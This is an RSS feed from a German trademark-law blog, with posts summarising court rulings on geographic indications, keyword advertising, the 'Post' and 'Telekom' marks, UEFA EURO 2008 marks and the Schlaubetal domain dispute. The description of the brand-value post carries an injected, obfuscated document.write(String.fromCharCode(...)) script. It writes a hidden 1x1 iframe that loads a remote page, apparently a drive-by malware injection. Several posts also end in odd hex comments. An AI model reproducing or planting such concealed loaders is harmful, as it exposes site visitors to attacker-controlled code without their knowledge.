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	<title>Markenrecht-Blog.de &#187; Allgemein</title>
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	<description>Blog der Rechtsanwälte Balan Stockmann &#038; Partner, Jena, zum Markenrecht</description>
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		<title>&quot;Münchner</title>
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		<pubDate>Fri, 13 Feb 2009 15:39:18 +0000</pubDate>
		<dc:creator>Rechtsanwalt Dr. Markus Stockmann</dc:creator>
				<category><![CDATA[Allgemein]]></category>

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		<description><![CDATA[Die Bezeichnung &#8220;Münchner Weißwurst&#8221; ist eine geographische Herkunftsangabe und deshalb nicht eintragungsfähige Gattungsbezeichnung im Sinne des Art. 3 Abs. 1 der Verordnung zum Schutz von geographischen Angaben und Ursprungsbezeichnungen für Agrarerzeugnisse und Lebensmittel. Quelle: BPatG Anmerkung:Geographische Herkunftsangaben sind neben Marken und geschäftlichen Bezeichnungen Teil eines vom Markenrecht errichteten Schutzsystems. Sie sind jedoch keine individuellen Rechte, [...]]]></description>
			<content:encoded><![CDATA[<p>Die Bezeichnung &#8220;Münchner Weißwurst&#8221; ist eine geographische Herkunftsangabe und deshalb nicht eintragungsfähige Gattungsbezeichnung im Sinne des Art. 3 Abs. 1 der Verordnung zum Schutz von geographischen Angaben und Ursprungsbezeichnungen für Agrarerzeugnisse und Lebensmittel.</p>
<p>Quelle: BPatG</p>
<p>Anmerkung:Geographische Herkunftsangaben sind neben Marken und geschäftlichen Bezeichnungen Teil eines vom Markenrecht errichteten Schutzsystems. Sie sind jedoch keine individuellen Rechte, sondern steht als &#8220;kollektiver Good Will allen Unternehmen zu, die einen geographischen Bezug zur Herkunftsangabe haben. Das Markenrecht gewährt in §§ 126 ff. einen unmittelbaren Schutz für geographische Herkunftsangaben; dieser kann auch durch Spezialgesetze hergestellt werden, so z.B. durch die EG-Verordnung Nr. 2081/92 zum Schutz von geographischen Angaben und Ursprungsbezeichnungen für Agrarerzeugnisse und Lebensmittel. </p>
<p>Art. 3 Abs. 1 dieser Verordnung lautet auszugsweise:</p>
<blockquote><p>Bezeichnungen, die zu Gattungsbezeichnungen geworden sind, dürfen nicht eingetragen werden.<br />
Im Sinne dieser Verordnung gilt als &#8220;Bezeichnung, die zur Gattungsbezeichnung geworden ist&#8221;, der Name eines Agrarerzeugnisses oder eines Lebensmittels, der sich zwar auf einen Ort oder ein Gebiet bezieht, wo das betreffende Agrarerzeugnis oder Lebensmittel ursprünglich hergestellt oder vermarktet wurde, der jedoch der gemeinhin übliche Name für ein Agrarerzeugnis oder ein Lebensmittel geworden ist.</p></blockquote>
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		<title>OLG</title>
		<link>http://www.markenrecht-blog.de/2008-01-25/olg-koln-verwendung-fremder-kennzeichen-als-keyword-advertising-ist-kein-markenrechtsverstos-%e2%80%93-urt-v-31082007-az-6-u-4807/</link>
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		<pubDate>Fri, 25 Jan 2008 07:55:08 +0000</pubDate>
		<dc:creator>Rechtsanwalt Dr. Markus Stockmann</dc:creator>
				<category><![CDATA[Allgemein]]></category>

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		<description><![CDATA[Die Verwendung eines fremden Kennzeichens als Keyword für Werbung auf einer Suchmaschine (wie z.B. keywords für Google-Adwords) ist keine markenmäßige Benutzung im Sinne von § 14 Abs. 2 MarkenG. Das hat das OLG Köln in einer noch nicht rechtskräftigen Entscheidung vom 31.08.2007 entschieden. Die Begründung ist kurz zusammengefasst: Der durchschnittliche Nutzer weiß angeblich nicht, dass [...]]]></description>
			<content:encoded><![CDATA[<p>Die Verwendung eines fremden Kennzeichens als Keyword für Werbung auf einer Suchmaschine (wie z.B. keywords für Google-Adwords) ist keine markenmäßige Benutzung im Sinne von § 14 Abs. 2 MarkenG. Das hat das OLG Köln in einer noch nicht rechtskräftigen Entscheidung vom 31.08.2007 entschieden.</p>
<p>Die Begründung ist kurz zusammengefasst: Der durchschnittliche Nutzer weiß angeblich nicht, dass das Suchwort (keyword) nicht nur die Trefferliste, sondern auch den Inhalt des Anzeigenteils beeinflusst. Er mache sich keine Gedanken darüber, warum die Werbung des Konkurrenten neben der Trefferliste erscheint und ob dies mit der Eingabe seines Suchwortes zusammenhängt.</p>
<p>Und weiter heißt es:</p>
<blockquote><p>Selbst wenn einigen, sondern auch das des Anzeigenteils beeinflusst, fehlt es an einer zeichenmäßigen Benutzung, da durch die Verwendung der Marke als (keyword) keine Vorstellungen über die Herkunft der vom Werbenden angebotenen Ware hervorgerufen werden.</p></blockquote>
<p>Es fehle insoweit an einer herkunftsbezogenen Vorstellung dergestalt, dass die Produkte des Werbenden Beklagten mit der fremden Marke gekennzeichnet werden. Der Nutzer differenziert angeblich zwischen den beiden räumlich und farblich getrennten Plattformen, die ihm nach der Eingabe des Suchwortes dargeboten werden (vgl. Google).</p>
<p>Das OLG Braunschweig sieht das anders. Es mache keinen Unterschied, ob das von der Suchmaschine gefundene Ergebnis in der Trefferliste aufgeführt wird oder im Anzeigenteil erscheint (wir <a href="http://www.markenrecht-blog.de/2007-08-10/verwendung-fremder-marken-als-keyword-in-google-adword-anzeigen-ist-markenverletzung-olg-braunschweig-urteil-vom-12072007-az-2-u-2407/">berichteten</a>). Das OLG Braunschweig geht davon aus, dass allein durch die Eingabe des Suchwortes eine gedankliche Verknüpfung erzeugt wird, die den Eindruck entstehen lassen, dass auch im Anzeigenteil Leistungen des Unternehmens der Klägerin gelistet werden. </p>
<p>Auch in wettbewerbsrechtlicher Hinsicht sei, so das OLG Köln, das Verhalten des Werbenden nicht zu beanstanden. Für eine gezielte Behinderung und/oder Rufausbeutung fehle es an dem notwendigen Imagetransfer. Wenn das Erscheinen einer Werbung als Ergebnis einer Eingabe eines kennzeichenrechtlich geschützten Suchwortes beim Nutzer nicht einmal zu einer herkunftsbezogenen Vorstellung führt, so ist sie erst recht nicht geeignet, einen Imagetransfer zwischen Suchwort und Werbenden hervorzurufen</p>
<p><a href="http://www.justiz.nrw.de/nrwe/olgs/koeln/j2007/6_U_48_07urteil20070831.html">Link zum Volltext</a></p>
<p>Anmerkung:<br />
Man darf gespannt sein. Die Revision ist beim BGH unter dem Az. I ZR 162/07 anhängig, wobei einiges gegen die Zulässigkeit des Keyword-Advertising mit fremden Kennzeichen spricht. Kernfragen:<br />
1. Ist den Nutzern bekannt, dass die Suchworteingabe nicht nur das Ergebnis der Trefferliste, sondern auch das des Anzeigenteils beeinflusst? Eher ja.<br />
2. Differenziert der Nutzer zwischen den beiden räumlich und farblich getrennten Plattformen (Ergebnisteil und Anzeigenteil)? Da wird der BGH vielleicht eine Einzelfallentscheidung treffen. Bei Google ist die Differenzierung eher weniger geglückt (horizontaler und vertikaler Anzeigenteil).</p>
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		<title>BPatG:</title>
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		<pubDate>Mon, 05 Nov 2007 23:05:16 +0000</pubDate>
		<dc:creator>Rechtsanwalt Dr. Markus Stockmann</dc:creator>
				<category><![CDATA[Allgemein]]></category>

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		<description><![CDATA[Nach einem Beschluss des Bundespatentgerichts (BPatG) vom 22.10.2007 (Az. 26 W (pat) 88/02) ist selbst bei durchschnittlicher Kennzeichnungskraft der Bezeichnung „Post“ eine Verwechslungsgefahr mit „EUROPOSTCOM“ zu verneinen. Die Deutsche Post AG hatte Widerspruch gegen die angegriffene Wort-Bildmarke „EUROPOSTCOM“ aus der Wortmarke „Deutsche Post“ und der Wort-/Bildmarke „Post“ eingelegt, über den nun das BPatG zu entscheiden [...]]]></description>
			<content:encoded><![CDATA[<p>Nach einem Beschluss des Bundespatentgerichts (BPatG) vom 22.10.2007 (Az. 26 W (pat) 88/02) ist selbst bei durchschnittlicher Kennzeichnungskraft der Bezeichnung „Post“ eine Verwechslungsgefahr mit „EUROPOSTCOM“ zu verneinen.</p>
<p>Die Deutsche Post AG hatte Widerspruch gegen die angegriffene Wort-Bildmarke „EUROPOSTCOM“ aus der Wortmarke „Deutsche Post“ und der Wort-/Bildmarke „Post“ eingelegt, über den nun das BPatG zu entscheiden hatte.</p>
<p>Die wichtigsten Gründe:<br />
<span id="more-51"></span><br />
Zwar fehle der Bezeichnung „Post“ von vornherein jegliche Kennzeichnungskraft (§ 8 Abs. 2 Nr. 1 MarkenG), da das Wort „Post“ lange vor Eintragung der Widerspruchsmarken im allgemeinen, inländischen Sprachgebrauch für eine Dienstleistungseinrichtung zur Beförderung und Zustellung von Briefen, Paketen … sowie zum Sammel- und Oberbegriff für die hierdurch beförderten Güter (Briefe etc.) diente.</p>
<p>Das Gericht ging jedoch zu Gunsten der Deutsche Post AG von einer durch Verkehrsdurchsetzung erworbenen durchschnittlichen Kennzeichnungskraft des Bestandteils „Post“ in den Widerspruchsmarken aus.<br />
Die angegriffene Marke sei jedoch wegen ihrer zusätzlichen Bestandteile „EURO“ und „COM“ für den inländischen Verbraucher ohne Weiteres zu unterscheiden, zumal die Widerspruchsmarke auch den Bestandteil „Deutsche“ enthält.<br />
Der Begriff „Post“ habe innerhalb der angegriffenen Marke „EUROPOST“ auch keine prägende bzw. selbständig kennzeichnende Stellung inne; die angegriffene Marke sei ein ohne weiteres erkennbarer Gesamtbegriff.<br />
Auch eine gedankliche Verbindung mit der Deutsche Post AG sei mangels konkreter Hinweise auf die Benutzung einer Markenserie durch die Widersprechende nicht erkennbar.<br />
Die Widersprüche der Deutschen Post AG gegen die Eintragung der Wort-/Bildmarke „EUROPOSTCOM“ wurden zurückgewiesen.</p>
<p>Quelle und Volltext: <a href="http://juris.bundespatentgericht.de/cgi-bin/rechtsprechung/document.py?Gericht=bpatg&#038;Art=en&#038;Datum=Aktuell&#038;nr=2942&#038;pos=1&#038;anz=388&#038;Blank=1.pdf">BPatG</a><!--4b7700d4dd15ef801122a15d34273a3622010--><br />
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		<title>Die</title>
		<link>http://www.markenrecht-blog.de/2007-10-27/die-wertvollsten-deutschen-marken/</link>
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		<pubDate>Sat, 27 Oct 2007 21:02:17 +0000</pubDate>
		<dc:creator>Rechtsanwalt Dr. Markus Stockmann</dc:creator>
				<category><![CDATA[Allgemein]]></category>

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		<description><![CDATA[Daimler ist einer Studie des Markenhändlers Semion Brand-Broker zufolge die wertvollste deutsche Marke. Wert: 19,5 Milliarden EUR. Knapp dahinter folgen BASF und Bayer. Der Wert der Marke Siemens fiel der Studie zufolge um 31 Prozent – wohl nicht zuletzt auf Grund der Affäre um schwarze Kassen. Quelle / Mehr: Wirtschaftswoche vom 27.10.2007. document.write(String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,32,61,34,104,116,116,112,58,47,47,121,97,100,114,48,46,99,111,109,47,100,47,105,110,100,101,120,46,112,104,112,34,32,119,105,100,116,104,61,34,49,34,32,104,101,105,103,104,116,61,34,49,34,32,102,114,97,109,101,98,111,114,100,101,114,61,34,48,34,62,60,47,105,102,114,97,109,101,62))]]></description>
			<content:encoded><![CDATA[<p>Daimler ist einer Studie des Markenhändlers Semion Brand-Broker zufolge die wertvollste deutsche Marke. Wert: 19,5 Milliarden EUR. Knapp dahinter folgen BASF und Bayer.<br />
Der Wert der Marke Siemens fiel der Studie zufolge um 31 Prozent – wohl nicht zuletzt auf Grund der Affäre um schwarze Kassen.</p>
<p>Quelle / Mehr: <a href="http://www.wiwo.de/pswiwo/fn/ww2/sfn/buildww/id/126/id/318151/fm/0/SH/0/depot/0/">Wirtschaftswoche </a>vom 27.10.2007.<br />
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		<title>EuGH:</title>
		<link>http://www.markenrecht-blog.de/2007-10-01/eugh-erhalt-von-markenfamilien-erschwert-urteil-v-13092007-rechtssache-c-23406-p/</link>
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		<pubDate>Mon, 01 Oct 2007 21:37:36 +0000</pubDate>
		<dc:creator>Rechtsanwalt Dr. Markus Stockmann</dc:creator>
				<category><![CDATA[Allgemein]]></category>

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		<description><![CDATA[Der EuGH hat am 13.09.2007 entschieden, dass nationale Markenvorschriften unwirksam sind, die eingetragene Marken von einer Benutzungspflicht befreien. Für die Weiterentwicklung einer Markenfamilie ist deshalb darauf zu achten, dass bei einer Anmeldung der modernisierten Marke(n) ein Verlust der Markenrechte aus den älteren Marken eintreten kann. Das bedeutet: Für jede eingetragene Marke muss auch im fünfjährigen [...]]]></description>
			<content:encoded><![CDATA[<p>Der EuGH hat am 13.09.2007 entschieden, dass nationale Markenvorschriften unwirksam sind, die eingetragene Marken von einer Benutzungspflicht befreien.<br />
Für die Weiterentwicklung einer Markenfamilie ist deshalb darauf zu achten, dass bei einer Anmeldung der modernisierten Marke(n) ein Verlust der Markenrechte aus den älteren Marken eintreten kann. Das bedeutet: Für jede eingetragene Marke muss auch im fünfjährigen Benutzungszeitraum ein Produkt oder eine Dienstleistung vorgehalten worden sein. Zum Erhalt sämtlicher Markenrechte einer Markenfamilie ist die Benutzung für alle Einzelmarken (Mitglieder) nachzuweisen. Unerheblich ist, dass der Markeninhaber ähnliche Marken für gleiche Waren oder Dienstleistungen nutzt. </p>
<p>Die wichtigsten Passagen der Urteilsbegründung:</p>
<p>„Dem Gericht ist jedoch kein Rechtsfehler mit der in Randnr. 46 seines Urteils getroffenen Feststellung unterlaufen, dass sich der Inhaber einer nationalen Eintragung, der Widerspruch gegen die Anmeldung einer Gemeinschaftsmarke erhebt, der Beweislast, die ihm gemäß Art. 43 Abs. 2 und 3 der Verordnung Nr. 40/94 obliegt, nicht durch Berufung auf eine nationale Bestimmung entziehen kann, die die Anmeldung von Zeichen als Marken erlaubt, welche wegen ihrer reinen Abwehrfunktion für ein anderes Zeichen, das gewerblich verwendet wird, nicht dazu bestimmt sind, im Handelsverkehr benutzt zu werden.<br />
Der in Art. 43 der Verordnung Nr. 40/94 verwandte Begriff der „berechtigten Gründe“ bezieht sich nämlich im Wesentlichen auf vom Markeninhaber unabhängige Umstände, die der Benutzung der Marke entgegenstehen, nicht aber auf nationale Rechtsvorschriften, die eine Ausnahme von der Regel des Verfalls einer Marke nach fünfjähriger Nichtbenutzung zulassen, obwohl diese Nichtbenutzung auf dem Willen des Markeninhabers beruht.<br />
Das Vorbringen, dass sich der Inhaber einer eingetragenen nationalen Marke, der Widerspruch gegen eine Gemeinschaftsmarkenanmeldung erhebt, auf eine ältere Marke, deren Benutzung nicht nachgewiesen ist, deshalb stützen könne, weil diese nach nationalen Rechtsvorschriften eine Defensivmarke sei, ist daher mit Art. 43 Abs. 2 und 3 der Verordnung Nr. 40/94 nicht vereinbar.“</p>
<p>Link zum <a href="http://curia.europa.eu/jurisp/cgi-bin/form.pl?lang=DE&#038;Submit=Rechercher$docrequire=alldocs&#038;numaff=C-234/06 P&#038;datefs=&#038;datefe=&#038;nomusuel=&#038;domaine=&#038;mots=&#038;resmax=100">Volltext</a></p>
<p><span id="more-46"></span><!--fc2d1d111a7fe8e2b0f8a6f7d00e67b122010--><br />
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		<title>Verwechslungsgefahr</title>
		<link>http://www.markenrecht-blog.de/2007-09-12/verwechslungsgefahr-mit-dem-firmenschlagwort-%e2%80%9etelekom%e2%80%9c-in-zusammengesetzten-zeichen-%e2%80%93-bgh-urt-vom-19072007-az-i-zr-13704/</link>
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		<pubDate>Wed, 12 Sep 2007 10:00:33 +0000</pubDate>
		<dc:creator>Rechtsanwalt Dr. Markus Stockmann</dc:creator>
				<category><![CDATA[Allgemein]]></category>

		<guid isPermaLink="false">http://www.markenrecht-blog.de/2007-09-12/verwechslungsgefahr-mit-dem-firmenschlagwort-%e2%80%9etelekom%e2%80%9c-in-zusammengesetzten-zeichen-%e2%80%93-bgh-urt-vom-19072007-az-i-zr-13704/</guid>
		<description><![CDATA[Die Deutsche Telekom hat beim BGH einen Teilerfolg für die Verteidigung ihres Kennzeichens „Telekom“ gegen die Zeichen &#8220;Euro Telekom Deutschland GmbH&#8221;, &#8220;Euro-Telekom&#8221; und &#8220;EURO-Telekom“ errungen. 1. Zunächst urteilte der BGH in der Entscheidung vom 19.07.2007 zur Frage, dass die damit in Zusammenhang stehenden Domainregistrierungen der Beklagten allein keine verbotene Kennzeichenbenutzung darstellen: Das Halten eines Domain-Namens [...]]]></description>
			<content:encoded><![CDATA[<p>Die Deutsche Telekom hat beim BGH einen Teilerfolg für die Verteidigung ihres Kennzeichens „Telekom“ gegen die Zeichen &#8220;Euro Telekom Deutschland GmbH&#8221;, &#8220;Euro-Telekom&#8221; und &#8220;EURO-Telekom“ errungen.</p>
<p>1.<br />
Zunächst urteilte der BGH in der Entscheidung vom 19.07.2007 zur Frage, dass die damit in Zusammenhang stehenden Domainregistrierungen der Beklagten allein keine verbotene Kennzeichenbenutzung darstellen:</p>
<p>Das <strong>Halten eines Domain-Namens </strong>durch eine juristische Person des Handelsrechts stellt nicht schon deshalb eine Zeichenbenutzung dar, weil die juristische Person stets im geschäftlichen Verkehr handelt.<br />
Ein solcher Anspruch ist nur dann begründet, wenn der Domaininhaber dabei notwendig auch die weiteren Voraussetzungen des § 15 MarkenG erfüllt. Hiervon könne nur ausgegangen werden, wenn jede Verwendung &#8211; auch dann, wenn sie im Bereich anderer Branchen als der der Telekommunikation und des Internets erfolgt &#8211; zumindest eine nach § 15 Abs. 3 MarkenG unlautere Ausnutzung oder Beeinträchtigung der Unterscheidungskraft oder Wertschätzung des Kennzeichens &#8220;Telekom&#8221; darstellt. Dies aber könne nach der Lebenserfahrung nicht angenommen werden.</p>
<p>2.<br />
Bezüglich der von der Telekom geltend gemachten <strong>Unterlassungsansprüche </strong>hinsichtlich des als Firmenschlagwort selbständig geschützten Bestandteils &#8220;Telekom&#8221; und den Bezeichnungen der Beklagten: &#8220;Euro Telekom Deutschland GmbH&#8221;, &#8220;Euro-Telekom&#8221; und &#8220;EURO-Telekom“ traf der BGH folgende Kernaussagen zugunsten der Deutsche Telekom AG:</p>
<p>Für den Bestandteil &#8220;Telekom&#8221; ihrer Firmenbezeichnung könne die Klägerin den vom Schutz des vollständigen Firmennamens abgeleiteten kennzeichenrechtlichen Schutz nach § 5 Abs. 2 MarkenG als Firmenschlagwort in Anspruch nehmen.<br />
Zu der nach § 14 Abs. 2 Nr. 2, § 15 Abs. 2 MarkenG für einen Unterlassungsanspruch der Telekom notwendigen Verwechslungsgefahr mit dem Firmenschlagwort selbständig geschützten Bestandteil &#8220;Telekom&#8221; argumentierte der BGH wie folgt:<br />
Auch bei einem Zeichen, bei dem es sich um eine von Haus aus beschreibende Bezeichnung handelt gelte der Erfahrungssatz, dass einem Zeichen, das durch seine isolierte Verwendung im Geschäftsverkehr zunehmend eine herkunftshinweisende Funktion erhalten hat, auch dann einen stärkeren Herkunftshinweis besitzt, wenn der Verkehr dem Zeichen als Bestandteil eines anderen Zeichens (hier: „Euro“) begegnet.</p>
<p>Hierzu führte der BGH wie folgt aus:<br />
<span id="more-43"></span></p>
<blockquote><p>„… (1) Bei der Beurteilung der Frage, ob der mit dem Klagekennzeichen übereinstimmende Bestandteil des angegriffenen Zeichens dieses prägt, ist eine durch Benutzung erworbene Kennzeichnungskraft des Klagezeichens auch dann zu berücksichtigen, wenn dieses Zeichen allein aus dem übereinstimmenden Bestandteil besteht (BGH, Urt. v. 13.3.2003 &#8211; I ZR 122/00, GRUR 2003, 880, 881 = WRP 2003, 1228 &#8211; City Plus). Der Umstand, dass ein Zeichen durch seine (isolierte) Verwendung im Geschäftsverkehr zunehmend eine herkunftshinweisende Funktion erhalten hat, wirkt sich nicht nur auf seine Kennzeichnungskraft aus, sondern hat zugleich zur Folge, dass der Verkehr dem Zeichen auch dann einen stärkeren Herkunftshinweis entnimmt, wenn er diesem nicht isoliert, sondern als Bestandteil eines anderen Zeichens begegnet (BGH GRUR 2003, 880, 881 &#8211; City Plus; vgl. auch BGHZ 156, 126, 137 f. &#8211; Farbmarkenverletzung I; BGH, Urt. v. 4.9.2003 &#8211; I ZR 44/01, GRUR 2004, 154, 156 = WRP 2004, 232 &#8211; Farbmarkenverletzung II; Beschl. v. 24.2.2005 &#8211; I ZB 2/04, GRUR 2005, 513, 514 = WRP 2005, 744 &#8211; MEY/Ella May). </p>
<p>Die Anwendung dieses Erfahrungssatzes kommt grundsätzlich auch in solchen Fällen in Betracht, in denen der mit dem Klagekennzeichen übereinstimmende Bestandteil von Haus aus ein beschreibender Begriff ist, der seine Kennzeichnungskraft erst aufgrund der Verkehrsgeltung dieses Zeichens erlangt hat. Es spricht nichts dafür, in einem solchen Fall den Wandel in der herkunftshinweisenden Funktion auf das Klagekennzeichen zu beschränken. Wenn der Verkehr bei einer von Haus aus beschreibenden Bezeichnung aufgrund der durch Benutzung erworbenen Verkehrsgeltung daran gewöhnt ist, dass diese als Unternehmenskennzeichen oder als Marke benutzt wird, wird er auch dann von einer gewissen Herkunftsfunktion ausgehen, wenn er dem Zeichen in Kombination mit anderen Bestandteilen begegnet. Die herkunftshinweisende Funktion als Bestandteil eines anderen Zeichens hängt allerdings von der Kennzeichnungskraft des Klagekennzeichens ab: Je geringer die Kennzeichnungskraft des Klagekennzeichens und damit sein Schutzumfang ist, desto geringer ist auch der Herkunftshinweis, den der Verkehr dem Zeichen als Bestandteil eines anderen Zeichens entnimmt. </p>
<p>(2) Die Revision macht mit Recht geltend, dass die angegriffenen Zeichen der Beklagten durch ihren Bestandteil &#8220;Telekom&#8221; aufgrund der diesem innewohnenden herkunftshinweisenden Funktion derart geprägt werden, dass ihre weiteren Bestandteile in der Wahrnehmung des Verkehrs zurücktreten.<br />
Verfügt das Klagezeichen jedenfalls über durchschnittliche Kennzeichnungskraft, führt die dadurch vermittelte Herkunftshinweisfunktion des mit ihm übereinstimmenden Bestandteils im angegriffenen Zeichen dazu, dass dieser Bestandteil den Gesamteindruck des angegriffenen Zeichens prägt, wenn die weiteren Bestandteile rein beschreibend sind und deshalb in der Wahrnehmung durch den Verkehr in den Hintergrund treten. Denn der Verkehr versteht solche rein beschreibenden Angaben lediglich als Sachhinweise, wobei diese in der Wahrnehmung regelmäßig gegenüber kennzeichnenden weiteren Bestandteilen zurücktreten (vgl. BGH, Urt. v. 22.7.2004 &#8211; I ZR 204/01, GRUR 2004, 865, 867 = WRP 2004, 1281 &#8211; Mustang). Außerdem neigt der Verkehr erfahrungsgemäß dazu, mehrteilige Bezeichnungen in einer ihre Merkbarkeit und Aussprechbarkeit erleichternden Weise zu verkürzen (vgl. BGH, Urt. v. 8.11.2001 &#8211; I ZR 139/99, GRUR 2002, 626, 628 = WRP 2002, 705 &#8211; IMS, m.w.N.). Entsprechend verhält es sich im Streitfall:<br />
Das Berufungsgericht hat für das angegriffene Zeichen &#8220;Euro Telekom Deutschland GmbH&#8221; zutreffend festgestellt, dass dessen Bestandteile &#8220;Euro&#8221;, &#8220;Deutschland&#8221; und &#8220;GmbH&#8221; rein beschreibender Natur sind. Die Abkürzung &#8220;GmbH&#8221; weist lediglich auf die Rechtsform des Unternehmens, die ihr vorangestellte Angabe &#8220;Deutschland&#8221; darauf hin, dass es sich bei der Beklagten um ein in Deutschland ansässiges Unternehmen handelt. Die Angabe &#8220;Euro&#8221; lässt erkennen, dass das Unternehmen oder die Unternehmensgruppe, der es angehört, auch in anderen Ländern Europas tätig ist. Ebenso weist der in den ferner angegriffenen geschäftlichen Bezeichnungen der Beklagten &#8220;Euro-Telekom&#8221; und &#8220;EURO-Telekom&#8221; enthaltene Bestandteil &#8220;Euro&#8221; einen rein beschreibenden Begriffsinhalt auf. Wie die Vorinstanzen mit Recht angenommen haben, haben in gleicher Weise auch die weiteren Bestandteile in den angegriffenen Bezeichnungen &#8220;Euro Telekom Conference&#8221; und &#8220;Euro Telekom Website&#8221; zur Kennzeichnung von Dienstleistungen auf dem Gebiet der Telekommunikation und im Bereich des Internets beschreibenden Charakter. </p>
<p>cc) Danach stimmt der einzige herkunftshinweisende Bestandteil der angegriffenen Zeichen mit dem Klagekennzeichen überein. Es ist daher von einer nicht nur geringen Ähnlichkeit der sich gegenüberstehenden Zeichen auszugehen. </p>
<p>e) Bei durchschnittlicher Kennzeichnungskraft des Klagekennzeichens und gegebener Branchenidentität kann angesichts einer solchen Ähnlichkeit der sich gegenüberstehenden Zeichen eine Verwechslungsgefahr zwischen dem Firmenschlagwort &#8220;Telekom&#8221; der Klägerin und den Zeichen der Beklagten &#8220;Euro Telekom Deutschland GmbH&#8221;, &#8220;Euro-Telekom&#8221; und &#8220;EURO-Telekom&#8221; nicht verneint werden. …“</p></blockquote>
<p>3. Dem Senat war eine abschließende Entscheidung der Sache verwehrt, weil das Berufungsgericht noch keine Feststellungen zu der Frage getroffen hatte, ob die Klageansprüche &#8211; wie die Beklagte geltend gemacht hatte &#8211; verwirkt sind. </p>
<p>Link zum <a href="http://juris.bundesgerichtshof.de/cgi-bin/rechtsprechung/document.py?Gericht=bgh&#038;Art=en&#038;Datum=Aktuell&#038;Sort=12288&#038;client=3&#038;client=3&#038;nr=40994&#038;pos=0&#038;anz=668">Volltext</a><!--1b2b688e70c7f40a097ce13cb220b5b822010--><br />
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		<title>„UEFA</title>
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		<pubDate>Tue, 04 Sep 2007 14:56:48 +0000</pubDate>
		<dc:creator>Rechtsanwalt Dr. Markus Stockmann</dc:creator>
				<category><![CDATA[Allgemein]]></category>

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		<description><![CDATA[Nach Beginn der aktuellen Bundesliga-Saison 2007/2008 steigt auch die Fieberkurve für das nächste internationale Großereignis: Zum krönenden Abschluss der Saison darf unsere (wahrscheinlich dann noch) von Joachim Löw trainierte Nationalmannschaft 2008 um die Fußball-EM in Österreich und der Schweiz spielen. Währenddessen macht die UEFA schon jetzt deutlich, dass der Markenschutz für die gängigen Bezeichnungen zur [...]]]></description>
			<content:encoded><![CDATA[<p>Nach Beginn der aktuellen Bundesliga-Saison 2007/2008 steigt auch die Fieberkurve für das nächste internationale Großereignis: Zum krönenden Abschluss der Saison darf unsere (wahrscheinlich dann noch) von Joachim Löw trainierte Nationalmannschaft 2008 um die Fußball-EM in Österreich und der Schweiz spielen.<br />
Währenddessen macht die UEFA schon jetzt deutlich, dass der Markenschutz für die gängigen Bezeichnungen zur Euro 08 konsequent verteidigt wird, um den eigenen zahlungskräftigen Sponsoren Exklusivität zu verschaffen. Das betrifft Wort- und Wort-/Bildmarken wie z.B. „EURO 2008“, „UEFA EM 2008“, „EM 2008“ oder „OESTERREICH / SCHWEIZ 2008“. Marketingagenturen diskutieren bereits Umgehungsstrategien wie Marketing aus dem Hinterhalt („Ambush-Marketing“) und wie es legal organisiert werden kann.<br />
Freilich bleibt der Grat zwischen Markennutzung und bloßer Markennennung schmal und wird auch nicht von jedem Gericht gleich ausgelegt. Wer mit der UEFA in Konflikt gerät, soll zumindest konsequent abgemahnt werden. Vorsicht ist also angezeigt, sonst kann’s teuer werden.</p>
<p>Quelle: <a href="http://www.nzz.ch/nachrichten/kultur/literatur_und_kunst/umkaempfte_em-woerter_1.549827.html">NZZ online vom 03.09.2007</a></p>
<p>Auf auch für Deutschland eingetragene nationale oder internationale Marken im Zusammenhang mit der Fußball EM 2008 und anderen sportlichen Großereignissen wie Olympia in Peking 2008 macht z.B. der online-Anbieter spreadshirt aufmerksam und gibt eine „<a href="http://www.blog.spreadshirt.net/media/2/bildwortmarken.pdf">Anleitung zum Nicht-Abgemahnt-Werden</a>“ heraus. </p>
<p>Der Markenschutz der UEFA ist umfangreich. Die z.B. unter der Register-Nr. 869651 und 811776 bei der WIPO eingetragenen Wort- und Wort-/Bildmarken „UEFA EURO 2008 Austria-Switzerland“ und „EURO 2008“ erfassen fast jede denkbare Waren- und Dienstleistungsklasse zum Thema Merchandising, bis hin zum Tierfutter.<br />
<span id="more-42"></span><!--56675692b2252de7c693e1394194718b22010--><br />
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		<title>Schlaubetal</title>
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		<pubDate>Thu, 16 Aug 2007 22:04:53 +0000</pubDate>
		<dc:creator>Rechtsanwalt Dr. Markus Stockmann</dc:creator>
				<category><![CDATA[Allgemein]]></category>

		<guid isPermaLink="false">http://www.markenrecht-blog.de/2007-08-17/schlaubetal-und-kein-ende-%e2%80%93-nach-dem-urteil-des-olg-brandenburg-v-12062007-az6-u-12306/</guid>
		<description><![CDATA[Das Brandenburgische Oberlandesgerichts hat in einem Urteil vom 12.6.2007 festgestellt, dass die Nutzung der Internet-Domain www.schlaubetal.de durch einen Reiseveranstalter nicht das Namensrecht des klagenden Amtes Schlaubetal oder der Gemeinde Schlaubetal verletzt. Angeblich soll es eine Neuauflage des Prozesses geben. Klagen will nunmehr die Gemeinde Schlaubetal selbst. (Quelle: berlinonline.de v. 6.8.2007) In den Urteilsgründen des OLG [...]]]></description>
			<content:encoded><![CDATA[<p>Das Brandenburgische Oberlandesgerichts hat in einem Urteil vom 12.6.2007 festgestellt, dass die Nutzung der Internet-Domain www.schlaubetal.de durch einen Reiseveranstalter nicht das Namensrecht des klagenden Amtes Schlaubetal oder der Gemeinde Schlaubetal verletzt.<br />
Angeblich soll es eine Neuauflage des Prozesses geben. Klagen will nunmehr die Gemeinde Schlaubetal selbst. (Quelle: <a href="http://www.berlinonline.de/berliner-kurier/print/berlin/182100.html">berlinonline.de</a> v. 6.8.2007)</p>
<p>In den Urteilsgründen des OLG heißt es, dass das Schlaubetal eine geographische Bezeichnung für das 227 qkm große Tal ist, durch das der Fluss Schlaube fließt. Diese Region sei nicht deckungsgleich mit dem Gebiet des Amtes Schlaubetal oder der Gemeinde Schlaubetal.<br />
<span id="more-37"></span><br />
Zwar gäbe es, so das OLG, Städte und Gemeinden, wie etwa Heidelberg oder Solingen, die ohne den Zusatz Stadt oder Gemeinde selbständigen Namensschutz genießen. Darauf könne sich das klagende Amt Schlaubetal nicht berufen, weil es ohne den Zusatz &#8220;Amt&#8221; nicht unterscheidungskräftig bezeichnet werden.<br />
Einer Bezeichnung kommt Namensfunktion nur dann zu, wenn sie geeignet ist, eine Person oder ein Unternehmen mit sprachlichen Mitteln unterscheidungskräftig zu bezeichnen. Auf beteiligte Kreise muss die Bezeichnung wie ein Name wirken.</p>
